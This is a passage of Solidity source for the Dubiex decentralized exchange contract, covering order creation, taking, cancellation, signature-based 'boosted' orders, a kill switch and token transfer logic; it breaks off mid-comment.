pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721Holder.sol"; import "@openzeppelin/contracts/introspection/ERC165.sol"; import "@openzeppelin/contracts/introspection/IERC1820Registry.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@prps/solidity/contracts/IBoostableERC20.sol"; import "./DubiexLib.sol"; import "./Boostable.sol"; /** * @dev The Dubiex contract * * Supported currencies: * - ETH * - ERC20 * - BoostedERC20 * - ERC721 * * Any owner of ERC721 tokens may wish to approve Dubiex for all his/her tokens, * by calling `setApprovalForAll()`. Then approval for subsequent trades isn't required either. * * ERC20 can be approved once with an practically-infinite amount, then Dubiex requires * approval only once as well. * * BoostedERC20 tokens are designed to work without any explicit approval for Dubiex. * * External functions: * - makeOrder(s) * - takeOrder(s) * - cancelOrder(s) * - getOrder() * - boostedMakeOrder(Batch) * - boostedTakeOrder(Batch) * - boostedCanceleOrder(Batch) * */ contract Dubiex is ReentrancyGuard, ERC721Holder, Boostable { using SafeERC20 for IERC20; bytes32 private constant _BOOSTABLE_ERC20_TOKEN_HASH = keccak256( "BoostableERC20Token" ); // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.1.0/contracts/token/ERC721/ERC721.sol#L68 bytes4 private constant _ERC721_INTERFACE_HASH = 0x80ac58cd; IERC1820Registry private constant _ERC1820_REGISTRY = IERC1820Registry( 0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24 ); // This is a empty order to workaround: // "This variable is of storage pointer type and can be accessed without prior assignment, which would lead to undefined behaviour" // In places where we need to return a zero-initialized storage order. DubiexLib.PackedOrderBookItem private emptyOrder; // Only required for burning fuel address private immutable _prps; address private immutable _dubi; // Security mechanism which anyone can enable if the total supply of PRPS or DUBI should ever go >= 1 billion bool private _killSwitchOn; function activateKillSwitch() public { require(!_killSwitchOn, "Dubiex: kill switch already on"); uint256 oneBillion = 1000000000 * 1 ether; uint256 totalPrpsSupply = IERC20(_prps).totalSupply(); uint256 totalDubiSupply = IERC20(_dubi).totalSupply(); require( totalPrpsSupply >= oneBillion || totalDubiSupply >= oneBillion, "Dubiex: insufficient total supply for kill switch" ); _killSwitchOn = true; } constructor( address optIn, address prps, address dubi ) public ReentrancyGuard() Boostable(optIn) { _prps = prps; _dubi = dubi; } event MadeOrder( uint32 id, address maker, // uint96 makerValue, uint96 takerValue, uint32 orderPairAlias, uint32 padding uint256 packedData ); event TookOrder( uint32 id, address maker, address taker, // uint96 makerValue, uint96 takerValue, uint32 orderPairAlias, uint32 padding uint256 packedData ); event CanceledOrder(address maker, uint32 id); event UpdatedOrder(address maker, uint32 id); /** * @dev Order pair aliases are generated by incrementing a number. Although the counter * is using 32 bits, we do not support more than 2**28 = 268_435_456 pairs for technical reasons. */ uint32 private _orderPairAliasCounter; /** * @dev A mapping of order pair alias to a packed order pair. */ mapping(uint32 => DubiexLib.PackedOrderPair) private _orderPairsByAlias; /** * @dev A reverse mapping of order pair hash to an order pair alias. Required to check if * a given pair already exists when creating an order where the full pair information are * provided instead of an alias. I.e. * MakeOrder { * ... * makerCurrencyType: ..., * takerCurrencyType: ..., * makerContractAddress: ..., * takerContractAddress: ..., * } * * The hash of these four fields is used as the key of the mapping. */ mapping(bytes32 => uint32) private _orderPairAliasesByHash; /** * @dev Mapping of address to a counter for order ids. */ mapping(address => uint32) private _counters; /** * @dev Mapping of address to packed order book items. */ mapping(address => DubiexLib.PackedOrderBookItem[]) private _ordersByAddress; /** * @dev Get an order by id. If the id doesn't exist (e.g. got cancelled / filled), a default order is returned. * The caller should therefore check the id of the returned item. Any non-zero value means the order exists. */ function getOrder(address maker, uint64 id) public view returns (DubiexLib.PrettyOrderBookItem memory) { DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[maker]; for (uint256 i = 0; i < orders.length; i++) { DubiexLib.PackedOrderBookItem storage _packed = orders[i]; DubiexLib.UnpackedOrderBookItem memory _unpacked = DubiexLib .unpackOrderBookItem(_packed.packedData); if (_unpacked.id == id) { DubiexLib.PrettyOrderBookItem memory pretty; pretty.id = _unpacked.id; pretty.makerValue = _unpacked.makerValue; pretty.takerValue = _unpacked.takerValue; pretty.orderPairAlias = _unpacked.orderPairAlias; pretty.pair = getOrderPairByAlias(_unpacked.orderPairAlias); pretty.flags = _unpacked.flags; pretty.successorOrderId = _packed.successorOrderId; pretty.ancestorOrderId = _packed.ancestorOrderId; return pretty; } } DubiexLib.PrettyOrderBookItem memory empty; return empty; } /** * @dev Get an order pair by alias. */ function getOrderPairByAlias(uint32 orderPairAlias) public view returns (DubiexLib.OrderPair memory) { DubiexLib.OrderPair memory orderPair; DubiexLib.PackedOrderPair storage packedOrderPair = _orderPairsByAlias[orderPairAlias]; ( address makerContractAddress, DubiexLib.CurrencyType makerCurrencyType ) = DubiexLib.unpackOrderPairAddressType(packedOrderPair.makerPair); ( address takerContractAddress, DubiexLib.CurrencyType takerCurrencyType ) = DubiexLib.unpackOrderPairAddressType(packedOrderPair.takerPair); orderPair.makerContractAddress = makerContractAddress; orderPair.makerCurrencyType = makerCurrencyType; orderPair.takerContractAddress = takerContractAddress; orderPair.takerCurrencyType = takerCurrencyType; return orderPair; } /** * @dev Get an order pair by it's hash. */ function getOrderPairByHash(bytes32 orderPairHash) public view returns (DubiexLib.OrderPair memory) { uint32 orderPairAlias = _orderPairAliasesByHash[orderPairHash]; return getOrderPairByAlias(orderPairAlias); } /** * @dev Get an order pair alias by it's hash. */ function getOrderPairAliasByHash(bytes32 orderPairHash) public view returns (uint32) { return _orderPairAliasesByHash[orderPairHash]; } /** * @dev Make a single order. Reverts on failure. * * If an `orderId` is provided, an already existing order will be updated * according to `updatedWeiRatio`. For efficiency reasons, the id of the updated order * remains the same. Taker orders provide a minimum ratio to protect themselves against * front-running by the maker. * * Returns the assigned order id. */ function makeOrder(DubiexLib.MakeOrderInput memory input) external payable nonReentrant returns (uint32) { require(!_killSwitchOn, "Dubiex: make order prevented by kill switch"); uint256 excessEth = msg.value; uint32 orderId; (orderId, excessEth) = _makeOrderInternal({ input: input, maker: msg.sender, excessEthAndIntrinsicFuel: excessEth, isBoosted: false, revertOnUpdateError: true }); _refundExcessEth(excessEth); return orderId; } /** * @dev Create multiple orders at once. The transaction won't revert if any make order fails, but * silently ignore it. Returns an array of order ids where each item corresponds to an input * at the same index and non-zero values indicate success. */ function makeOrders(DubiexLib.MakeOrderInput[] memory inputs) external payable nonReentrant returns (uint32[] memory) { require(!_killSwitchOn, "Dubiex: make order prevented by kill switch"); require(inputs.length > 0, "Dubiex: empty inputs"); uint32[] memory orderIds = new uint32[](inputs.length); uint256 excessEth = msg.value; for (uint256 i = 0; i < inputs.length; i++) { uint32 orderId; (orderId, excessEth) = _makeOrderInternal({ input: inputs[i], maker: msg.sender, excessEthAndIntrinsicFuel: excessEth, isBoosted: false, revertOnUpdateError: false }); orderIds[i] = orderId; } _refundExcessEth(excessEth); return orderIds; } /** * @dev Take a single order. Reverts on failure. */ function takeOrder(DubiexLib.TakeOrderInput calldata input) external payable nonReentrant { require(!_killSwitchOn, "Dubiex: take order prevented by kill switch"); uint256 excessEth = msg.value; (, excessEth, ) = _takeOrderInternal({ input: input, taker: msg.sender, excessEthAndIntrinsicFuel: excessEth, revertOnError: true, isBoosted: false }); _refundExcessEth(excessEth); } /** * @dev Take multiple orders at once. The transaction won't revert if any take order fails, but * silently ignore it. Check the logs in the receipt to see if any failed. * * See `takeOrder` for more information about the opt-in. * * @param inputs the take order inputs */ function takeOrders(DubiexLib.TakeOrderInput[] calldata inputs) external payable nonReentrant returns (bool[] memory) { require(!_killSwitchOn, "Dubiex: take order prevented by kill switch"); require(inputs.length > 0, "Dubiex: empty inputs"); bool[] memory result = new bool[](inputs.length); uint256 excessEth = msg.value; for (uint256 i = 0; i < inputs.length; i++) { bool success; (success, excessEth, ) = _takeOrderInternal({ input: inputs[i], taker: msg.sender, excessEthAndIntrinsicFuel: uint96(excessEth), revertOnError: false, isBoosted: false }); result[i] = success; } _refundExcessEth(excessEth); return result; } /** * @dev Cancel a single order. */ function cancelOrder(DubiexLib.CancelOrderInput memory input) external nonReentrant { _cancelOrderInternal({ maker: input.maker, id: input.id, intrinsicFuel: 0, isBoosted: false, revertOnError: true, isKillSwitchOn: _killSwitchOn }); } /** * @dev Cancel multiple orders at once. It will not revert on error, but ignore failed * orders silently. Check the logs in the receipt to see if any failed. * * @return Array of booleans with `ids.length` items where each item corresponds to an id * at the same index and `true` indicate success. */ function cancelOrders(DubiexLib.CancelOrderInput[] calldata inputs) external nonReentrant returns (bool[] memory) { require(inputs.length > 0, "Dubiex: empty inputs"); bool[] memory result = new bool[](inputs.length); bool isKillSwitchOn = _killSwitchOn; for (uint256 i = 0; i < inputs.length; i++) { result[i] = _cancelOrderInternal({ maker: inputs[i].maker, id: inputs[i].id, intrinsicFuel: 0, isBoosted: false, revertOnError: false, isKillSwitchOn: isKillSwitchOn }); } return result; } /** * @dev Create an order for the signer of `signature`. */ function boostedMakeOrder( BoostedMakeOrder memory order, Signature memory signature ) public payable nonReentrant returns (uint32) { require(!_killSwitchOn, "Dubiex: make order prevented by kill switch"); uint32 orderId; uint256 excessEth = msg.value; (orderId, excessEth) = _boostedMakeOrderInternal( order, signature, excessEth, true ); _refundExcessEth(excessEth); return orderId; } function _boostedMakeOrderInternal( BoostedMakeOrder memory order, Signature memory signature, uint256 excessEth, bool revertOnUpdateError ) private returns (uint32, uint256) { uint96 intrinsicFuel = _burnFuel(order.maker, order.fuel); // We optimize ERC721 sell orders by not increasing the // nonce, because every ERC721 is unique - trying to replay the // transaction while the signature hasn't expired yet is almost // guaranteed to always fail. The only scenarios where it would be // possible is: // - if the order gets cancelled // - the order is filled by the maker OR the taker sends it back to the maker // // But this all has to happen in a very short timeframe, so the chance of this happening // is really low. // if ( order.input.pair.makerCurrencyType == DubiexLib.CurrencyType.ERC721 ) { _verifyBoostWithoutNonce( order.maker, hashBoostedMakeOrder(order, msg.sender), order.boosterPayload, signature ); } else { verifyBoost( order.maker, hashBoostedMakeOrder(order, msg.sender), order.boosterPayload, signature ); } uint32 orderId; // Encode the intrinsic fuel in the upper bits of the excess eth, // because we are hitting 'CompilerError: Stack too deep'. uint256 excessEthAndIntrinsicFuel = excessEth; excessEthAndIntrinsicFuel |= uint256(intrinsicFuel) << 96; (orderId, excessEth) = _makeOrderInternal({ maker: order.maker, input: order.input, excessEthAndIntrinsicFuel: excessEthAndIntrinsicFuel, isBoosted: true, revertOnUpdateError: revertOnUpdateError }); return (orderId, excessEth); } /** * @dev Take an order for the signer of `signature`. */ function boostedTakeOrder( BoostedTakeOrder memory order, Signature memory signature ) public payable nonReentrant { require(!_killSwitchOn, "Dubiex: take order prevented by kill switch"); uint256 excessEth = _boostedTakeOrderInternal({ order: order, signature: signature, excessEth: msg.value, revertOnError: true }); _refundExcessEth(excessEth); } function _boostedTakeOrderInternal( BoostedTakeOrder memory order, Signature memory signature, uint256 excessEth, bool revertOnError ) private returns (uint256) { uint96 intrinsicFuel = _burnFuel(order.taker, order.fuel); // Encode the intrinsic fuel in the upper bits of the excess eth, // because we are hitting 'CompilerError: Stack too deep'. uint256 excessEthAndIntrinsicFuel = excessEth; excessEthAndIntrinsicFuel |= uint256(intrinsicFuel) << 96; DubiexLib.CurrencyType takerCurrencyType; (, excessEth, takerCurrencyType) = _takeOrderInternal({ input: order.input, taker: order.taker, excessEthAndIntrinsicFuel: excessEthAndIntrinsicFuel, revertOnError: revertOnError, isBoosted: true }); // We optimize ERC721 take orders by not increasing the // nonce, because every ERC721 is unique - trying to replay the // transaction will always fail, since once taken - the target order doesn't // exist anymore and thus cannot be filled ever again. if (takerCurrencyType == DubiexLib.CurrencyType.ERC721) { _verifyBoostWithoutNonce( order.taker, hashBoostedTakeOrder(order, msg.sender), order.boosterPayload, signature ); } else { verifyBoost( // The signer of the boosted message order.taker, hashBoostedTakeOrder(order, msg.sender), order.boosterPayload, signature ); } return excessEth; } /** * @dev Cancel an order for the signer of `signature`. */ function boostedCancelOrder( BoostedCancelOrder memory order, Signature memory signature ) public payable nonReentrant { bool isKillSwitchOn = _killSwitchOn; _boostedCancelOrderInternal(order, signature, true, isKillSwitchOn); } function _boostedCancelOrderInternal( BoostedCancelOrder memory order, Signature memory signature, bool reverOnError, bool isKillSwitchOn ) private { uint96 intrinsicFuel = _burnFuel(order.input.maker, order.fuel); // We do not need a nonce, since once cancelled the order id can never be re-used again _verifyBoostWithoutNonce( order.input.maker, hashBoostedCancelOrder(order, msg.sender), order.boosterPayload, signature ); // Encode the intrinsic fuel in the upper bits of the excess eth, // (which for cancel order is always 0), because we are hitting 'CompilerError: Stack too deep'. uint256 excessEthAndIntrinsicFuel; excessEthAndIntrinsicFuel |= uint256(intrinsicFuel) << 96; _cancelOrderInternal({ maker: order.input.maker, id: order.input.id, isBoosted: true, intrinsicFuel: excessEthAndIntrinsicFuel, revertOnError: reverOnError, isKillSwitchOn: isKillSwitchOn }); } /** * @dev Perform multiple `boostedMakeOrder` calls in a single transaction. */ function boostedMakeOrderBatch( BoostedMakeOrder[] calldata orders, Signature[] calldata signatures ) external payable nonReentrant { require(!_killSwitchOn, "Dubiex: make order prevented by kill switch"); require( orders.length > 0 && orders.length == signatures.length, "Dubiex: invalid input lengths" ); uint256 excessEth = msg.value; for (uint256 i = 0; i < orders.length; i++) { (, excessEth) = _boostedMakeOrderInternal( orders[i], signatures[i], uint96(excessEth), false ); } } /** * @dev Perform multiple `boostedTakeOrder` calls in a single transaction. */ function boostedTakeOrderBatch( BoostedTakeOrder[] memory boostedTakeOrders, Signature[] calldata signatures ) external payable nonReentrant { require(!_killSwitchOn, "Dubiex: take order prevented by kill switch"); require( boostedTakeOrders.length > 0 && boostedTakeOrders.length == signatures.length, "Dubiex: invalid input lengths" ); uint256 excessEth = msg.value; for (uint256 i = 0; i < boostedTakeOrders.length; i++) { excessEth = _boostedTakeOrderInternal( boostedTakeOrders[i], signatures[i], uint96(excessEth), false ); } _refundExcessEth(excessEth); } /** * @dev Perform multiple `boostedCancelOrder` calls in a single transaction. */ function boostedCancelOrderBatch( BoostedCancelOrder[] memory orders, Signature[] calldata signatures ) external payable nonReentrant returns (uint32) { require( orders.length > 0 && orders.length == signatures.length, "Dubiex: invalid input lengths" ); bool isKillSwitchOn = _killSwitchOn; for (uint256 i = 0; i < orders.length; i++) { _boostedCancelOrderInternal( orders[i], signatures[i], false, isKillSwitchOn ); } } /** * @dev Create a new single order. * * @return the assigned order id */ function _makeOrderInternal( DubiexLib.MakeOrderInput memory input, address payable maker, uint256 excessEthAndIntrinsicFuel, bool isBoosted, bool revertOnUpdateError ) private returns (uint32, uint256) { require( maker != address(this) && maker != address(0), "Dubiex: unexpected maker" ); // An explicit id means an existing order should be updated. if (input.orderId > 0) { return ( _updateOrder( maker, input.orderId, input.updatedRatioWei, revertOnUpdateError ), // Update order never uses eth, so we refund everything in case something was mistakenly sent uint96(excessEthAndIntrinsicFuel) ); } // Reverts if the input is invalid require(input.makerValue > 0, "Dubiex: makerValue must be greater 0"); require(input.takerValue > 0, "Dubiex: takerValue must be greater 0"); // Reverts if the order pair is incompatible uint32 orderPairAlias = _getOrCreateOrderPairAlias(input.pair); // Deposit the makerValue, which will fail if no approval has been given // or the maker hasn't enough funds. // NOTE(reentrancy): safe, because we are using `nonReentrant` for makeOrder(s). // NOTE2: _transfer returns the *excessEth* only, but we reuse the 'excessEthAndIntrinsicFuel' variable // to work around 'CompilerError: Stack too deep'. bool deposited; (deposited, excessEthAndIntrinsicFuel) = _transfer({ from: maker, to: payable(address(this)), value: input.makerValue, valueContractAddress: input.pair.makerContractAddress, valueCurrencyType: input.pair.makerCurrencyType, excessEthAndIntrinsicFuel: excessEthAndIntrinsicFuel, isBoosted: isBoosted }); require(deposited, "Dubiex: failed to deposit. not enough funds?"); // Create the orderbook item DubiexLib.PackedOrderBookItem memory _packed; DubiexLib.UnpackedOrderBookItem memory _unpacked; _unpacked.id = _getNextOrderId(maker); _unpacked.makerValue = input.makerValue; _unpacked.takerValue = input.takerValue; _unpacked.orderPairAlias = orderPairAlias; _unpacked.flags.isMakerERC721 = input.pair.makerCurrencyType == DubiexLib.CurrencyType.ERC721; _unpacked.flags.isTakerERC721 = input.pair.takerCurrencyType == DubiexLib.CurrencyType.ERC721; // Update ancestor order if any _updateOrderAncestorIfAny(input, maker, _unpacked, _packed); // Pack unpacked data and write to storage _packed.packedData = DubiexLib.packOrderBookItem(_unpacked); _ordersByAddress[maker].push(_packed); // Emit event and done uint256 packedData; packedData |= input.makerValue; packedData |= uint256(input.takerValue) << 96; packedData |= uint256(orderPairAlias) << (96 + 96); emit MadeOrder(_unpacked.id, maker, packedData); return (_unpacked.id, excessEthAndIntrinsicFuel); } function _updateOrderAncestorIfAny( DubiexLib.MakeOrderInput memory input, address maker, DubiexLib.UnpackedOrderBookItem memory unpacked, DubiexLib.PackedOrderBookItem memory packed ) private { // If an ancestor is provided, we check if it exists and try to make this order // an successor of it. If it succeeds, then this order ends up being hidden. if (input.ancestorOrderId > 0) { packed.ancestorOrderId = input.ancestorOrderId; bool success = _setSuccessorOfAncestor( maker, input.ancestorOrderId, unpacked.id ); // New successor order must be hidden if it has an existing ancestor now unpacked.flags.isHidden = success; } } /** * @dev Take a make order. * @param input the take order input. * @param taker address of the taker * @param revertOnError whether to revert on errors or not. True, when taking a single order. * */ function _takeOrderInternal( address payable taker, DubiexLib.TakeOrderInput memory input, uint256 excessEthAndIntrinsicFuel, bool revertOnError, bool isBoosted ) private returns ( bool, uint256, DubiexLib.CurrencyType ) { ( DubiexLib.PackedOrderBookItem storage _packed, DubiexLib.UnpackedOrderBookItem memory _unpacked, uint256 index ) = _assertTakeOrderInput(input, revertOnError); // Order doesn't exist or input is invalid. if (_unpacked.id == 0) { // Only gets here if 'revertOnError' is false return ( false, uint96(excessEthAndIntrinsicFuel), DubiexLib.CurrencyType.NULL ); } // Get the actual makerValue, which might just be a fraction of the total // `takerValue` of the `_makeOrder`. (uint96 _makerValue, uint96 _takerValue) = _calculateMakerAndTakerValue( _unpacked, input.takerValue, input.maxTakerMakerRatio ); if (_makerValue == 0 || _takerValue == 0) { if (revertOnError) { revert("Dubiex: invalid takerValue"); } return ( false, uint96(excessEthAndIntrinsicFuel), DubiexLib.CurrencyType.NULL ); } // Transfer from taker to maker // NOTE(reentrancy): `takeOrder(s)` is marked nonReentrant // NOTE2: _transferFromTakerToMaker returns the *excessEth* only, but we reuse the 'excessEthAndIntrinsicFuel' variable // to work around 'CompilerError: Stack too deep'. excessEthAndIntrinsicFuel = _transferFromTakerToMaker( taker, input.maker, _takerValue, _unpacked.pair, excessEthAndIntrinsicFuel, isBoosted ); // Transfer from maker to taker // NOTE(reentrancy): `takeOrder(s)` is marked nonReentrant if ( !_transferFromContractToTaker( taker, _makerValue, _unpacked.pair, false, 0 ) ) { if (revertOnError) { revert("Dubiex: failed to transfer value to taker"); } return ( false, excessEthAndIntrinsicFuel, DubiexLib.CurrencyType.NULL ); } // If filled, the order can be deleted (without having to update the maker/taker value) if (_unpacked.makerValue - _makerValue == 0) { // Make successor of filled order visible if any. if (_unpacked.flags.hasSuccessor) { _setOrderVisible(input.maker, _packed.successorOrderId); } // Delete the filled order _deleteOrder({maker: input.maker, index: index}); } else { // Not filled yet, so update original make order _unpacked.makerValue -= _makerValue; _unpacked.takerValue -= _takerValue; // Write updated item to storage _packed.packedData = DubiexLib.packOrderBookItem(_unpacked); } // NOTE: We write the new taker/maker value to the in-memory struct // and pass it to a function that emits 'TookOrder' to avoid the 'Stack too deep' error _unpacked.makerValue = _makerValue; _unpacked.takerValue = _takerValue; return _emitTookOrder( input.maker, taker, _unpacked, excessEthAndIntrinsicFuel ); } /** * @dev Emit 'TookOrder' in a separate function to avoid the 'Stack too deep' error */ function _emitTookOrder( address maker, address taker, DubiexLib.UnpackedOrderBookItem memory unpacked, uint256 excessEthAndIntrinsicFuel ) private returns ( bool, uint256, DubiexLib.CurrencyType ) { uint256 packedData; packedData |= unpacked.makerValue; packedData |= uint256(unpacked.takerValue) << 96; packedData |= uint256(unpacked.orderPairAlias) << (96 + 96); emit TookOrder(unpacked.id, maker, taker, packedData); return ( true, excessEthAndIntrinsicFuel, unpacked.pair.takerCurrencyType ); } /** * @dev Cancel an order * @param maker the maker of the order * @param id the id of the order to cancel * @param revertOnError whether to revert on errors or not */ function _cancelOrderInternal( address payable maker, uint32 id, uint256 intrinsicFuel, bool isBoosted, bool revertOnError, bool isKillSwitchOn ) private returns (bool) { // Anyone can cancel any order if the kill switch is on. // For efficiency, we do not need to check the kill switch if this is a boosted cancel order, // because in that case we already have the explicit consent of the maker. // If it's neither a boosted cancel nor a post-kill switch cancel, the msg.sender must be the maker. if (!isBoosted && !isKillSwitchOn) { require(maker == msg.sender, "Dubiex: msg.sender must be maker"); } if (!revertOnError && !_orderExists(maker, id)) { return false; } // Get the make order (reverts if order doesn't exist) ( , DubiexLib.UnpackedOrderBookItem memory unpacked, uint256 index ) = _safeGetOrder(maker, id, DubiexLib.OrderPairReadStrategy.MAKER); // Transfer remaining `makerValue` back to maker, by assuming the taker role with the maker. // NOTE(reentrancy): `cancelOrder(s)` is marked nonReentrant if ( !_transferFromContractToTaker({ taker: maker, makerValue: unpacked.makerValue, pair: unpacked.pair, isBoosted: isBoosted, excessEthAndIntrinsicFuel: intrinsicFuel }) ) { return false; } // Delete the cancelled order _deleteOrder({maker: maker, index: index}); emit CanceledOrder(maker, id); return true; } /** * @dev Update the `takerValue` of an order using the given `updatedRatioWei` * @param maker the maker of the order to update * @param orderId the id of the existing order * @param updatedRatioWei the new ratio in wei */ function _updateOrder( address maker, uint32 orderId, uint128 updatedRatioWei, bool revertOnUpdateError ) private returns (uint32) { ( DubiexLib.PackedOrderBookItem storage _packed, DubiexLib.UnpackedOrderBookItem memory _unpacked, ) = _getOrder(maker, orderId, DubiexLib.OrderPairReadStrategy.SKIP); // Order doesn't exist if (_unpacked.id == 0) { if (revertOnUpdateError) { revert("Dubiex: order does not exist"); } return 0; } // We don't prevent reverts here, even if `revertOnUpdateError` is false since // they are user errors unlike a non-existing order which a user has no control over. require(updatedRatioWei > 0, "Dubiex: ratio is 0"); require( !_unpacked.flags.isMakerERC721 && !_unpacked.flags.isTakerERC721, "Dubiex: cannot update ERC721 value" ); // Update the existing order with the new ratio to the takerValue. // The makerValue stays untouched. uint256 updatedTakerValue = (uint256(_unpacked.makerValue) * uint256(updatedRatioWei)) / 1 ether; require(updatedTakerValue < 2**96, "Dubiex: takerValue overflow"); _unpacked.takerValue = uint96(updatedTakerValue); _packed.packedData = DubiexLib.packOrderBookItem(_unpacked); emit UpdatedOrder(maker, orderId); return orderId; } // If both returned values are > 0, then the provided `takerValue` and `maxTakerMakerRatio` are valid. function _calculateMakerAndTakerValue( DubiexLib.UnpackedOrderBookItem memory _unpacked, uint96 takerValue, uint256 maxTakerMakerRatio ) private pure returns (uint96, uint96) { uint256 calculatedMakerValue = _unpacked.makerValue; uint256 calculatedTakerValue = takerValue; // ERC721 cannot be bought/sold partially, therefore the `takerValue` must match the requested // value exactly. if ( _unpacked.pair.makerCurrencyType == DubiexLib.CurrencyType.ERC721 || _unpacked.pair.takerCurrencyType == DubiexLib.CurrencyType.ERC721 ) { if (takerValue != _unpacked.takerValue) { return (0, 0); } // The order gets filled completely, so we use the values as is. } else { // Calculate the current takerMakerValue ratio and compare it to `maxTakerMakerRatio`. // If it is higher then the order will not be taken. uint256 takerMakerRatio = (uint256(_unpacked.takerValue) * 1 ether) / calculatedMakerValue; if (maxTakerMakerRatio < takerMakerRatio) { return (0, 0); } if (calculatedTakerValue > _unpacked.takerValue) { calculatedTakerValue = _unpacked.takerValue; } // Calculate actual makerValue for ETH/ERC20 trades which might only get partially filled by the // takerValue. Since we don't have decimals, we need to multiply by 10^18 and divide by it again at the end // to not lose any information. calculatedMakerValue *= 1 ether; calculatedMakerValue *= calculatedTakerValue; calculatedMakerValue /= _unpacked.takerValue; calculatedMakerValue /= 1 ether; } // Sanity checks assert( calculatedMakerValue < 2**96 && calculatedMakerValue <= _unpacked.makerValue ); assert( calculatedTakerValue < 2**96 && calculatedTakerValue <= _unpacked.takerValue ); return (uint96(calculatedMakerValue), uint96(calculatedTakerValue)); } /** * @dev Assert a take order input and return the order. If a zero-order is returned, * then it does not exist and it is up to the caller how to handle it. */ function _assertTakeOrderInput( DubiexLib.TakeOrderInput memory input, bool revertOnError ) private view returns ( DubiexLib.PackedOrderBookItem storage, DubiexLib.UnpackedOrderBookItem memory, uint256 // index ) { ( DubiexLib.PackedOrderBookItem storage packed, DubiexLib.UnpackedOrderBookItem memory unpacked, uint256 index ) = _getOrder( input.maker, input.id, DubiexLib.OrderPairReadStrategy.FULL ); bool validTakerValue = input.takerValue > 0; bool orderExistsAndNotHidden = unpacked.id > 0 && !unpacked.flags.isHidden; if (revertOnError) { require(validTakerValue, "Dubiex: takerValue must be greater 0"); require(orderExistsAndNotHidden, "Dubiex: order does not exist"); } else { if (!validTakerValue || !orderExistsAndNotHidden) { DubiexLib.UnpackedOrderBookItem memory emptyUnpacked; return (emptyOrder, emptyUnpacked, 0); } } return (packed, unpacked, index); } function _orderExists(address maker, uint32 id) private view returns (bool) { // Since we don't want to revert for cancelOrders, we have to check that the order // (maker, id) exists by looping over the orders of the maker and comparing the id. DubiexLib.PackedOrderBookItem[] storage orders = _ordersByAddress[maker]; uint256 length = orders.length; for (uint256 i = 0; i < length; i++) { // The first 32 bits of the packed data corresponds to the id. By casting to uint32, // we can compare the id without having to unpack the entire thing. uint32 orderId = uint32(orders[i].packedData); if (orderId == id) { // Found order return true; } } // Doesn't exist return false; } function _refundExcessEth(uint256 excessEth) private { // Casting to uint96 to get rid off any of the higher utility bits excessEth = uint96(excessEth); // Sanity check assert(msg.value >= excessEth); if (excessEth > 0) { msg.sender.transfer(excessEth); } } // Transfer `takerValue` to `maker`. function _transferFromTakerToMaker( address payable taker, address payable maker, uint96 takerValue, DubiexLib.OrderPair memory pair, uint256 excessEthAndIntrinsicFuel, bool isBoosted ) private returns (uint256) { (bool success, uint256 excessEth) = _transfer( taker, maker, takerValue, pair.takerContractAddress, pair.takerCurrencyType, excessEthAndIntrinsicFuel, isBoosted ); require(success, "Dubiex: failed to transfer value to maker"); return excessEth; } // Transfer `makerValue` to `taker` function _transferFromContractToTaker( address payable taker, uint96 makerValue, DubiexLib.OrderPair memory pair, bool isBoosted, uint256 excessEthAndIntrinsicFuel ) private returns (bool) { (bool success, ) = _transfer( payable(address(this)), taker, makerValue, pair.makerContractAddress, pair.makerCurrencyType, excessEthAndIntrinsicFuel, isBoosted ); return success; } function _transfer( address payable from, address payable to, uint256 value, address valueContractAddress, DubiexLib.CurrencyType valueCurrencyType, uint256 excessEthAndIntrinsicFuel, bool isBoosted ) private returns (bool, uint256) { uint256 excessEth = uint96(excessEthAndIntrinsicFuel); if (valueCurrencyType == DubiexLib.CurrencyType.ETH) { // Eth is a bit special, because it's not a token. Therefore we need to ensure // that the taker/maker sent enough eth (`excessEth` >= `value`) and also that // he is refunded at the end of the transaction properly. if (from != address(this)) { if (excessEth < value) { return (false, excessEth); } // Got enough eth, but maybe too much, so we subtract the value from the excessEth. This is important // to refund the sender correctly e.g. he mistakenly sent too much or the order // was partially filled while his transaction was pending. excessEth -= value; } // Not a deposit, so transfer eth owned by this contract to maker or taker if (to != address(this)) { to.transfer(value); } return (true, excessEth); } if (valueCurrencyType == DubiexLib.CurrencyType.ERC20) { IERC20 erc20 = IERC20(valueContractAddress); uint256 recipientBalanceBefore = erc20.balanceOf(to); if (from == address(this)) { // If sending own tokens, use `safeTransfer` because Dubiex doesn't have any allowance // for itself which would cause `safeTransferFrom` to fail. erc20.safeTransfer(to, value); } else { erc20.safeTransferFrom(from, to, value); } uint256 recipientBalanceAfter = erc20.balanceOf(to); // Safe guard to minimize the risk of getting buggy orders if the contract // deviates from the ERC20 standard. require( recipientBalanceAfter == recipientBalanceBefore + value, "Dubiex: failed to transfer ERC20 token" ); return (true, excessEth); } if (valueCurrencyType == DubiexLib.CurrencyType.BOOSTABLE_ERC20) { IBoostableERC20 erc20 = IBoostableERC20(valueContractAddress); if (from == address(this)) { // If sending own tokens, use `safeTransfer`, because Dubiex doesn't have any allowance // for itself which would cause `permissionSend` to fail. IERC20(address(erc20)).safeTransfer(to, value); } else { bool success = erc20.boostedTransferFrom( from, to, value, abi.encodePacked(isBoosted) ); require( success, "Dubiex: failed to transfer boosted ERC20 token" ); } return (true, excessEth); } if (valueCurrencyType == DubiexLib.CurrencyType.ERC721) { IERC721 erc721 = IERC721(valueContractAddress); // Pass isBoosted flag + fuel if any erc721.safeTransferFrom( from, to, value, abi.encodePacked( isBoosted, uint96(excessEthAndIntrinsicFuel >> 96) ) ); // Safe guard to minimize the risk of getting buggy orders if the contract // deviates from the ERC721 standard. require( erc721.ownerOf(value) == to, "Dubiex: failed to transfer ERC721 token" ); return (true, excessEth); } revert("Dubiex: unexpected currency type"); } /** * @dev Validates that the given contract address and currency type are compatible. * @param currencyType type of the currency * @param contractAddress the contract address associated with currency */ function _validateCurrencyType( DubiexLib.CurrencyType currencyType, address contractAddress ) private returns (bool) { if (currencyType == DubiexLib.CurrencyType.ETH) { require( contractAddress == address(0), "Dubiex: expected zero address" ); return true; } if (currencyType == DubiexLib.CurrencyType.ERC721) { // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md // // `contractAddress` must implement the ERC721 standard. According to the ERC721 standard // every 